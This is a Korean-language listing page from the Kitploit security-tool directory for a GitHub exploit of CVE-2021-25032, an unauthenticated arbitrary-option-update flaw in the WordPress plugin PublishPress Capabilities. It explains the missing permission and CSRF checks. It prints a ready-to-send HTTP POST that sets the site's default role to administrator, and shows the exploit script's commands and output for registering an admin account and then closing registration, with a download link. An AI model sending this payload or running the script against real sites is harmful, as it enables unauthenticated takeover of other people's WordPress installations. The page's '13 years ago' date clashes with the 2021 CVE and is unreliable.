Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-25032 — PublishPress Capabilities < 2.3.1 - 인증되지 않은 임의 옵션 업데이트로 인한 블로그 장악 | Kitploit
도구/GitHubGitHub/randomrobbiebf/cve-2021-25032
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationMisconfiguration
GitHubrandomrobbiebf/cve-2021-25032

CVE-2021-25032

PublishPress Capabilities < 2.3.1 - 인증되지 않은 임의 옵션 업데이트로 인한 블로그 장악

저장소 보기
13년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-25032

PublishPress Capabilities 2.2 - 2.3 - 인증되지 않은 임의 옵션 업데이트로 인한 블로그 장악

설명

이 플러그인은 init 훅을 통해 플러그인 설정을 업데이트할 때 권한 및 CSRF 검사를 수행하지 않으며, 업데이트할 옵션이 플러그인에 속하는지도 확인하지 않습니다. 그 결과, 인증되지 않은 공격자가 기본 역할과 같은 임의의 블로그 옵션을 업데이트하고, 새로 등록되는 사용자가 관리자 역할을 갖도록 만들 수 있습니다.

개념 증명(PoC)

root@kitploit:~
POST /wp-admin/admin.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 81
Connection: close

page=pp-capabilities-settings&all_options=default_role&default_role=administrator

스크립트 사용 예시

회원가입 및 관리자(Admin) 활성화

root@kitploit:~
$ python3 CVE-2021-25032.py -u http://wordpress.lan
The plugin version is below 2.3.1.
The plugin version is 2.2
Vulnerability check: http://wordpress.lan
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.

회원가입 비활성화 및 구독자(Subscriber) 설정

root@kitploit:~
$ python3 CVE-2021-25032.py -u http://wordpress.lan --fix yes
Vulnerability check: http://wordpress.lan
Options set successfully: http://wordpress.lan/wp-admin/admin.php
Fixed: You can not longer register
도구 다운로드